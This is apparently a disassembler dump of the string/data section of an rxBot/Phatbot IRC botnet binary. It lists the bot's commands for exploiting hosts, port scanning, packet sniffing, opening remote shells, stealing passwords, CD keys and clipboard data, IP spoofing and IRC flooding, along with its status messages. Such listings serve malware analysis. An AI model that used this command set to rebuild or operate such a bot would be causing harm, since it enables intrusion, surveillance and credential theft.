aFailedToSta_17	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B154	db  2Dh	; -		; DATA XREF: sub_401ACD+424Do
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 4
unk_42B184	db  2Dh	; -		; DATA XREF: sub_401ACD+41E6o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_1	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41AFo
dword_42B1AC	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C71o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B1D8	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+419Ao
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B214	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+416Ao
aFailedToSta_18	db '- Failed to start sniffer thread, error: <%d>.',0
		align 10h
dword_42B250	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40FBo
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 10h
dword_42B280	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4094o
aAlreadyRunni_2	db '- Already running.',0
		align 10h
aOn		db 'on',0               ; DATA XREF: sub_401ACD+4074o
					; sub_401ACD+41C6o ...
		align 4
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+405Do
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+4048o
		align 10h
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4033o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+401Eo
		align 10h
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+4009o
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+3FF4o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FDFo
aV:					; DATA XREF: sub_401ACD+3FCAo
					; ___:00437C7Co
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FB5o
		align 10h
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FA0o
		align 4
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F8Bo
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F76o
		align 10h
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F4Co
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F37o
					; sub_401ACD+4644o
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F22o
		align 10h
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F0Do
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EF8o
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE3o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ECEo
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EB9o
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA4o
		align 4
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E8Fo
		align 4
aO:					; DATA XREF: sub_401ACD+3E7Ao
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E65o
					; sub_401ACD+590Bo ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E50o
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E3Bo
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E26o
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E11o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DFCo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DE7o
		align 4
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DBDo
		align 10h
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D93o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D7Eo
		align 4
aJ:					; DATA XREF: sub_401ACD+3D54o
					; ___:00437C64o
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D2Ao
					; ___:00437C84o
		unicode	0, <n>,0
unk_42B380	db  2Dh	; -		; DATA XREF: sub_401ACD+3CF6o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C69o
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3C10o
		align 4
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B43o
dword_42B3E0	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AEFo
					; sub_401ACD+3B26o
		dd 0
dword_42B3F8	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3AB8o
		dd 1
dword_42B410	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A81o
					; sub_401ACD+3B98o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+3A2Co
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3997o
					; sub_401ACD+39D3o ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+393Do
		align 4
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+384Eo
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+3807o
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+3705o
					; sub_401ACD+3D15o
		align 4
dword_42B458	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+36E8o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B480	dd 636364h		; DATA XREF: sub_401ACD+366Bo
dword_42B484	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo
dword_42B490	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+3501o
					; sub_401ACD+3762o ...
dword_42B498	dd 69257325h, 0		; DATA XREF: sub_401ACD+34E6o
					; sub_40ACB5+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+34A5o
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3488o
					; sub_401ACD+3578o ...
		align 4
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+3461o
		align 10h
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+3444o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+3422o
					; sub_401ACD+3D69o
		align 10h
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+3405o
					; sub_401ACD+354Co ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+33E3o
					; sub_401ACD+3D3Fo
		align 10h
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+33C6o
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3377o
					; sub_401ACD+48F1o
		align 4
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+335Ao
		align 4
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+330Bo
		align 4
dword_42B508	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32EEo
dword_42B51C	dd 7463h		; DATA XREF: sub_401ACD+329Fo
dword_42B520	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o
					; sub_401ACD+38A8o ...
dword_42B530	dd 5Fh			; DATA XREF: sub_401ACD+3253o
					; sub_401ACD+32BFo ...
dword_42B534	dd 6D70h		; DATA XREF: sub_401ACD+3233o
					; sub_401ACD+487Eo
unk_42B538	db  2Dh	; -		; DATA XREF: sub_401ACD+3201o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 4
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+31AAo
		align 4
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3181o
		align 4
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+316Ao
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3155o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+3140o
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+312Bo
		align 10h
unk_42B5A0	db  2Dh	; -		; DATA XREF: sub_401ACD+3120o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 10h
unk_42B5E0	db  2Dh	; -		; DATA XREF: sub_401ACD+30AEo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 10h
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+3028o
unk_42B618	db  2Dh	; -		; DATA XREF: sub_401ACD+300Eo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 4
unk_42B644	db  2Dh	; -		; DATA XREF: sub_401ACD+2FF0o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2FCCo
		align 4
unk_42B684	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_404A40o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_404A22o
					; sub_401ACD+3F61o
unk_42B6C0	db  2Dh	; -		; DATA XREF: sub_401ACD+2EDAo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_42B6EC	db  2Dh	; -		; DATA XREF: sub_401ACD+2ED2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 4
dword_42B718	dd 234032Dh, 6E69616Dh,	202D0302h, 7325h ; DATA	XREF: sub_401ACD+2E7Do
unk_42B728	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40493Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 4
dword_42B7D8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E4Bo
aFailedToSta_19	db '- Failed to start secure thread, error: <%d>.',0
		align 4
dword_42B814	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2DD1o
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2DCBo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2DC4o
		align 4
unk_42B848	db  2Dh	; -		; DATA XREF: sub_401ACD+2D4Do
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_20	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42B888	db  2Dh	; -		; DATA XREF: sub_401ACD+2CC9o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
dword_42B8B4	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C47o
aFailedToSta_21	db '- Failed to start server thread, error: <%d>.',0
		align 10h
dword_42B8F0	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2BD8o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42B918	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2B25o
dword_42B928	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o
dword_42B934	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do
dword_42B944	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2B08o
dword_42B954	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401ACD+2A95o
		dd 676E6974h, 2Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o
					; sub_401ACD:loc_409778o ...
		align 4
dword_42B988	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401ACD+2A73o
		dd 6E697463h, 2E67h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do
					; sub_401ACD+7A7Eo
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo
		align 4
unk_42B9D8	db  2Dh	; -		; DATA XREF: sub_401ACD+2A17o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 4
dword_42BA04	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_401ACD+29D8o
		dd 2E7325h
unk_42BA1C	db  2Dh	; -		; DATA XREF: sub_401ACD+29C9o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_22	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42BA58	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+295Ao
		dd 65726874h, 2E736461h, 0
dword_42BA78	dd 627573h		; DATA XREF: sub_401ACD+2934o
dword_42BA7C	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401ACD+28E2o
		dd 2E7473h
unk_42BA94	db  2Dh	; -		; DATA XREF: sub_401ACD+28C7o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_23	db '- Failed to start listing thread, error: <%d>.',0
dword_42BACC	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2858o
		dd 2E676Fh
dword_42BAE4	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401ACD+27B3o
		dd 6F666E49h, 2Eh
dword_42BB00	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401ACD+2784o
		dd 2E6F666Eh, 0
dword_42BB1C	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401ACD+272Fo
		dd 746F4220h, 2Eh
unk_42BB38	db  2Dh	; -		; DATA XREF: sub_401ACD+2713o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start listing thread, error: <%d>.',0
		align 4
dword_42BB74	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+269Eo
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+267Eo
		align 4
unk_42BB98	db  2Dh	; -		; DATA XREF: sub_401ACD+261Co
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
dword_42BBB8	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: sub_401ACD+25F9o
aSearchComplete	db '- Search completed.',0
dword_42BBD8	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_401ACD+25ADo
		dd 2E7325h
unk_42BBF0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403FEAo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 10h
unk_42BC10	db  2Dh	; -		; DATA XREF: sub_401ACD+2513o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42BC38	db  2Dh	; -		; DATA XREF: sub_401ACD+24F4o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
dword_42BC64	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401ACD+24DEo
		dd 72616F62h, 2E64h
dword_42BC80	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+24B0o
		dd 2Dh
unk_42BC98	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F6Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
unk_42BCC4	db  2Dh	; -		; DATA XREF: sub_401ACD+2499o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42BCE8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F42o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
unk_42BD14	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F3Bo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 10h
unk_42BD40	db  2Dh	; -		; DATA XREF: sub_401ACD+2467o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_42BD64	db  2Dh	; -		; DATA XREF: sub_401ACD+2414o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_25	db '- Failed to start server thread, error: <%d>.',0
		align 10h
unk_42BDA0	db  2Dh	; -		; DATA XREF: sub_401ACD+23A5o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42BDDC	db  2Dh	; -		; DATA XREF: sub_401ACD+22BFo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_26	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BE18	db  2Dh	; -		; DATA XREF: sub_401ACD+2254o
					; sub_40BACD+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42BE54	db  2Dh	; -		; DATA XREF: sub_401ACD+214Do
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_27	db ' Failed to start server thread, error: <%d>.',0
		align 10h
unk_42BE90	db  2Dh	; -		; DATA XREF: sub_401ACD+20DEo
					; sub_40BACD+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_42BEC4	db  2Dh	; -		; DATA XREF: sub_401ACD+2029o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_4	db ' Already running.',0
		align 4
unk_42BEE4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403AE0o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_28	db '- Failed to start scan, port is invalid.',0
		align 4
unk_42BF1C	db  2Dh	; -		; DATA XREF: sub_401ACD+1FC3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_29	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42BF58	db  2Dh	; -		; DATA XREF: sub_401ACD+1F52o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1F27o
					; sub_401ACD+5BEEo
		align 10h
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1F20o
					; sub_401ACD+5BE7o
		align 4
unk_42BFD8	db  2Dh	; -		; DATA XREF: sub_401ACD+1D6Do
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
unk_42C018	db  2Dh	; -		; DATA XREF: sub_401ACD+1D0Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_30	db 'Failed to start search thread, error: <%d>.',0
unk_42C054	db  2Dh	; -		; DATA XREF: sub_401ACD+1C95o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1C4Co
		align 10h
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1C3Bo
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o
		align 10h
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1C11o
		align 4
aSa		db 'sa',0               ; DATA XREF: sub_401ACD+1BFCo
		align 10h
aScanall	db 'scanall',0          ; DATA XREF: sub_401ACD+1BE7o
dword_42C0C8	dd 234032Dh, 6E69616Dh,	202D0302h, 73617243h, 676E6968h
					; DATA XREF: sub_401ACD+1B97o
		dd 746F6220h, 2Eh
aCrash		db 'crash',0            ; DATA XREF: sub_401ACD+1B81o
					; sub_401ACD+1BD1o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B6Co
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1B57o
		align 10h
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1B42o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1B2Do
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1B18o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1B03o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1AEEo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1AD9o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1AC4o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1AAFo
		align 10h
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A9Ao
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A85o
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A70o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+1A5Bo
unk_42C170	db  2Dh	; -		; DATA XREF: sub_401ACD+1A1Do
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+1A02o
					; sub_401ACD+3CAFo ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+19EBo
		align 4
unk_42C1A4	db  2Dh	; -		; DATA XREF: sub_401ACD+19CDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1995o
		align 10h
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_403453o
dword_42C1D8	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+195Bo
dword_42C1EC	dd 6F6877h		; DATA XREF: sub_401ACD+193Eo
dword_42C1F0	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o
dword_42C1FC	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+192Eo
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+1915o
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+1900o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+18EBo
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+18D6o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+18C1o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+18ACo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+1897o
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1882o
		align 4
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+186Do
		align 10h
aKey		db 'key',0              ; DATA XREF: sub_401ACD+1858o
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401ACD+1843o
		align 10h
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+182Eo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+1819o
		align 4
aLsp100		db 'lsp100',0           ; DATA XREF: sub_401ACD+17EFo
					; sub_401ACD+1804o
		align 4
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17DAo
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+17C5o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+17B0o
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+179Bo
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1786o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1771o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+175Co
		align 10h
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1747o
